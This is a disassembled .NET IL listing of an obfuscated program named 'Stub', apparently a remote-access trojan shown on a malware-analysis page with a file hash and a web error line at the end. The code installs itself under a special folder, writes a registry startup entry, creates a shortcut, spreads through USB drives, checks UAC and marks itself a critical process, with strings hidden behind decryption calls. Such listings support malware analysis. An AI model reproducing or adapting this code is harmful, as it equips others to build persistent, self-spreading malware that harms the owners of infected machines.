Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 156 ldc.i4 144 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brtrue.s IL_02EB: ldc.i4.3 ldc.i4.8 <null> stloc.s V_29 br IL_0262: ldloc.s V_29 ldc.i4.3 <null> br.s IL_02E4: stloc.s V_29 ldloc.s V_5 ldc.i4 413 ldc.i4 388 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 266 ldc.i4 293 call System.IO.DirectoryInfo Stub.USB::ႨႷ<System.String>(System.String,System.Int16,System.Int32) pop <null> ldc.i4.3 <null> stloc.s V_29 br IL_0262: ldloc.s V_29 ldloc.0 <null> castclass System.String ldc.i4 180 ldc.i4 189 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brfalse.s IL_0337: ldc.i4.7 ldc.i4.s 9 stloc.s V_29 br IL_0262: ldloc.s V_29 ldc.i4.7 <null> br.s IL_0330: stloc.s V_29 ldloc.0 <null> castclass System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 castclass System.IO.FileInfo ldc.i4 131 ldc.i4 166 call System.Void My.MyComputer::ႷႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Char) ldc.i4 1000 ldc.i4.s 84 ldc.i4.s 80 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldloc.0 <null> castclass System.String ldsfld System.String Ⴓ.Ⴈ::Ⴃ ldc.i4 397 ldc.i4 452 call System.Byte[] Stub.Main::ႰႷ<System.String>(System.String,System.Int16,System.Char) ldc.i4 401 ldc.i4 407 call System.Void Stub.ProcessCritical::ႣႨ<System.String>(System.String,System.Byte[],System.Int16,System.Int16) leave.s IL_03B3: ldc.i4.0 dup <null> ldc.i4.s 83 ldc.i4.s 16 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_7 ldc.i4 981 ldc.i4 948 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_03B3: ldc.i4.0 ldc.i4.0 <null> stloc.s V_31 ldloc.s V_31 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 23 ldc.i8 4 ldc.i4 1711529791 ldc.i4.0 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.1 <null> ldc.i4 642 ldc.i4 727 call System.Void My.MyComputer::ႤႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int16) ldc.i4.3 <null> stloc.s V_31 br.s IL_03B6: ldloc.s V_31 call System.String Stub.ClientSocket::UAC() ldc.i4 626 ldc.i4 639 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brfalse.s IL_0438: ldc.i4.7 ldc.i4.8 <null> stloc.s V_31 br IL_03B6: ldloc.s V_31 ldc.i4.7 <null> br.s IL_0431: stloc.s V_31 ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 castclass System.String[] ldc.i4.0 <null> ldc.i4.s 13 ldc.i8 15 ldc.i4 1711529778 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4.s 24 ldc.i4.s 53 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.2 <null> ldc.i4.s 18 ldc.i8 1 ldc.i4 1711529796 ldc.i4.4 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.4 <null> ldc.i4.s 12 ldc.i8 13 ldc.i4 1711526805 ldc.i4.5 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4 252 ldc.i4 239 call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char) ldc.i4 156 ldc.i4 186 call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32) ldc.i4.2 <null> stloc.s V_31 br IL_03B6: ldloc.s V_31 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 castclass System.String[] ldc.i4.0 <null> ldc.i4.s 24 ldc.i8 2 ldc.i4 1711529840 ldc.i4.6 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 254 ldc.i4 211 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.2 <null> ldc.i4.s 14 ldc.i8 13 ldc.i4 1711529799 ldc.i4.7 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.4 <null> ldc.i4.s 13 ldc.i8 14 ldc.i4 1711526806 ldc.i4.6 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4 981 ldc.i4 966 call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char) ldc.i4 570 ldc.i4 540 call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32) ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4 154 ldc.i4 136 call System.Diagnostics.Process Stub.Messages/ႭႰ::ႥႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int32,System.Int16) stloc.s V_8 ldloc.s V_8 isinst System.Diagnostics.Process ldc.i4 1009 ldc.i4 965 call System.Void My.MyComputer::ႷႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Char,System.Int16) leave.s IL_060A: ldc.i4.1 dup <null> ldc.i4 230 ldc.i4 165 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_10 ldc.i4 970 ldc.i4 939 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_060A: ldc.i4.1 ldc.i4.1 <null> stloc.s V_33 ldloc.s V_33 switch dnlib.DotNet.Emit.Instruction[] call My.MyComputer My.MyProject::Ⴀ() ldc.i4 886 ldc.i4 895 call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႤႥ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Char,System.Char) ldc.i4 684 ldc.i4 763 call Microsoft.Win32.RegistryKey Stub.Messages/ႭႰ::ႥႥ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int32,System.Int32) ldc.i4.2 <null> ldc.i8 15 ldc.i4 1711526488 ldc.i4.7 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> ldc.i4 544 ldc.i4 565 call Microsoft.Win32.RegistryKey My.MyComputer::ႤႰ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Char) ldsfld System.String Settings::InstallStr ldc.i4 612 ldc.i4 585 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) ldloc.0 <null> isinst System.String ldc.i4 145 ldc.i4 146 call System.Void My.MyApplication::Ⴄ<System.String,Microsoft.Win32.RegistryKey,System.Object>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Char) leave.s IL_06B1: ldc.i4.6 dup <null> ldc.i4.s 68 ldc.i4.7 <null> call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_11 ldc.i4.s 38 ldc.i4.s 71 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_06B1: ldc.i4.6 ldc.i4.6 <null> stloc.s V_35 ldloc.s V_35 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4 984 ldc.i4 996 call System.String My.MyComputer::ႤႼ(System.Environment/SpecialFolder,System.Int16,System.Char) ldc.i4.6 <null> ldc.i8 12 ldc.i4 1711526533 ldc.i4.0 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4.s 81 ldc.i4.s 124 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) ldc.i4.s 17 ldc.i8 6 ldc.i4 1711527338 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4 772 ldc.i4 852 call System.String My.MyApplication::ႥႰ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int16,System.Char) stloc.s V_12 ldloc.s V_36 ldc.i4.6 <null> ldelem.u2 <null> ldc.i4 61173 sub <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldc.i4.s 24 ldc.i8 8 ldc.i4 1711529105 ldc.i4.3 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.s 9 ldc.i8 14 ldc.i4 1711527904 ldc.i4.4 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldc.i4.7 <null> ldc.i8 2 ldc.i4 1711527331 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 isinst System.Object[] ldc.i4.0 <null> ldloc.s V_12 castclass System.String stelem.ref <null> ldloc.s V_15 castclass System.Object[] stloc.s V_16 ldloc.s V_16 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 isinst System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 isinst System.Boolean[] call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0808: stloc.s V_18 ldloc.s V_16 isinst System.Object[] ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldc.i4.s 16 ldc.i8 8 ldc.i4 1711527363 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 castclass System.Object[] ldc.i4.0 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_19 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.2 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.s 9 ldc.i8 8 ldc.i4 1711527402 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 isinst System.Object[] ldc.i4.0 <null> ldc.i4.4 <null> ldc.i8 3 ldc.i4 1711527910 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_19 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.8 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.s 11 ldc.i8 2 ldc.i4 1711526606 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.3 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldnull <null> stloc.s V_18 ldloc.s V_12 isinst System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴓ.Ⴈ::Ⴃ leave.s IL_0900: ldc.i4.6 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0900: ldc.i4.6 ldc.i4.6 <null> stloc.s V_38 ldloc.s V_38 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.USB::USBStart() call System.Void Ⴓ.Ⴈ::Ⴐ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_095B: ldc.i4.5 ldc.i4.7 <null> stloc.s V_38 br.s IL_0903: ldloc.s V_38 ldc.i4.5 <null> br.s IL_0957: stloc.s V_38 call System.Void Stub.ProcessCritical::CriticalProcess_Enable() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldc.i4.4 <null> stloc.s V_38 br IL_0903: ldloc.s V_38 ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null>

783e1ed2786f3501d3c7019c1a315709 (122.37 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙